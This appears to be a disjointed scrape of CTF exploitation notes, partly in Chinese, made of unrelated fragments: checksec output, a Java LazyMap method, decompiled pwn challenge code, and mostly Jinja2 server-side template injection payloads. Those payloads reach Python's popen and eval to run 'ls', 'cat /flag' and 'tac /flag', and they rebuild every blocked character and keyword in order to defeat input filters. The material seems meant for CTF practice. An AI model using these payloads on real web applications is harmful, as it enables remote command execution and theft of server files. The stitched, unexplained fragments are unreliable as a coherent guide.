$ checksec ./funsignals Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x10000000) Stack: Executable RWX: Has RWX segments
public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Objectvalue= factory.transform(key); map.put(key, value); return value; } return map.get(key); }
# <class 'warnings.catch_warnings'> {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].popen('ls').read() }}{% endif %}{% endfor %} {{"".__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__'].popen('ls').read()}}
{% set num = (self|int) %}{{num}} # 0, 通过int过滤器获取数字 {% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字 {% set point = self|float|string|min %} # 通过float过滤器获取点 .
# 首先构造出所需的数字: {% set zero = (({ }|select|string|list).pop(38)|int) %} # 0 {% set one = (zero**zero)|int %} # 1 {% set two = (zero-one-one)|abs %} # 2 {% set four = (two*two)|int %} # 4 {% set five = (two*two*two)-one-one-one %} # 5 {% set seven = (zero-one-one-five)|abs %} # 7
# 构造出所需的各种字符与字符串: (这里的下标看具体情况) {% set xhx = (({ }|select|string|list).pop(24)|string) %} # _ {% set space = (({ }|select|string|list).pop(10)|string) %} # 空格 {% set point = ((app.__doc__|string|list).pop(26)|string) %} # . {% set yin = ((app.__doc__|string|list).pop(195)|string) %} # 单引号 ' {% set left = ((app.__doc__|string|list).pop(189)|string) %} # 左括号 ( {% set right = ((app.__doc__|string|list).pop(200)|string) %} # 右括号 )
{% set c = dict(c=aa)|reverse|first %} # 字符 c {% set bfh = self|string|urlencode|first %} # 百分号 % {% set bfhc=bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接 {% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 / {% set but = dict(buil=aa,tins=dd)|join %} # builtins {% set imp = dict(imp=aa,ort=dd)|join %} # import {% set pon = dict(po=aa,pen=dd)|join %} # popen {% set os = dict(o=aa,s=dd)|join %} # os {% set ca = dict(ca=aa,t=dd)|join %} # cat {% set flg = dict(fl=aa,ag=dd)|join %} # flag {% set ev = dict(ev=aa,al=dd)|join %} # eval {% set red = dict(re=aa,ad=dd)|join %} # read {% set bul = xhx*2~but~xhx*2 %} # __builtins__
{% for f,v in whoami.__init__.__globals__.items() %} # globals {% if f == bul %} {% for a,b in v.items() %} # builtins {% if a == ev %} # eval {{b(pld)}} # eval("__import__('os').popen('cat /flag').read()") {% endif %} {% endfor %} {% endif %} {% endfor %}
所以最终的payload为：
1
{% set zero = (({ }|select|string|list).pop(38)|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs|int %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set xhx = (({ }|select|string|list).pop(24)|string) %}{% set space = (({ }|select|string|list).pop(10)|string) %}{% set point = ((app.__doc__|string|list).pop(26)|string) %}{% set yin = ((app.__doc__|string|list).pop(195)|string) %}{% set left = ((app.__doc__|string|list).pop(189)|string) %}{% set right = ((app.__doc__|string|list).pop(200)|string) %}{% set c = dict(c=aa)|reverse|first %}{% set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set os = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx*2~but~xhx*2 %}{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in whoami.__init__.__globals__.items() %}{% if f == bul %}{% for a,b in v.items() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
name={% set po=dict(po=a,p=b)|join%} {% set a=(()|select|string|list)|attr(po)(24)%} {% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%} {% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%} {% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%} {% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%} {% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%} {% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%} {%set pp=dict(pop=a,en=b)|join %} {%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(132)|attr(ini)|attr(glo)|attr(geti)(pp)(‘tac /flag’)|attr(‘read’)() )%}
IO_puts("how much do you have to say?"); _libc_read(0, buf, 9uLL); buf[9] = 0; len = atoi(buf); if ( len <= 0 ) return IO_puts("That's not much to say."); if ( len <= 257 ) return read_len((unsignedint)len); return IO_puts("That's too much to say!."); }
buf[0] = 0; IO_puts("Ok, what do you have to say for yourself?"); _libc_read(0, buf, a1); returnprintf( (unsignedint)"Interesting thought \"%s\", I'll take it into consideration.\n", (unsignedint)buf); }
